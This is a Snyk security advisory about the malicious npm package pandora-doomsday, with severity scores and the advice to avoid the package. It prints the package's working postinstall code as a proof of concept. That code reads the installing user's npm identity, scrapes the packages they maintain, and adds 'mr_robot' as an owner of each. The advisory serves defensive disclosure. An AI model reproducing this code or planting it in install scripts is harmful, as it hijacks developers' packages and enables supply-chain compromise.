Malicious Package Affecting pandora-doomsday package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    0.22% (61st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID npm:pandora-doomsday:20170917
  • published 17 Sep 2017
  • disclosed 8 Aug 2017
  • credit Jordan Wright

How to fix?

Avoid usage of this package altogether.

Overview

pandora-doomsday is a malicious package that uses postinstall scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function currentUser(cb) {
  exec('npm whoami', function (err, stdout, stderr) {
    if (!err) cb(stdout);
  });
}

function addOwner(packageName, newOwner) { exec('npm owner add ' + newOwner + ' ' + packageName); }

function getModulesOwned(user, cb) { var url = 'https://www.npmjs.org/~' + user;

request(url, function (error, response, body) { var $ = cheerio.load(body); var packages = $('.collaborated-packages a').map(function (i, el) { return $(this).text(); }).get();

cb(packages);

}); }

currentUser(function (user) { if (user) { getModulesOwned(user, function (modules) { modules.forEach(function (moduleName) { addOwner(moduleName, 'mr_robot'); }); }); } });

The list of packages and their scripts are:

shrugging-logging
test-module-a
pandora-doomsday

CVSS Scores

version 3.1
Expand this section

Snyk

8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High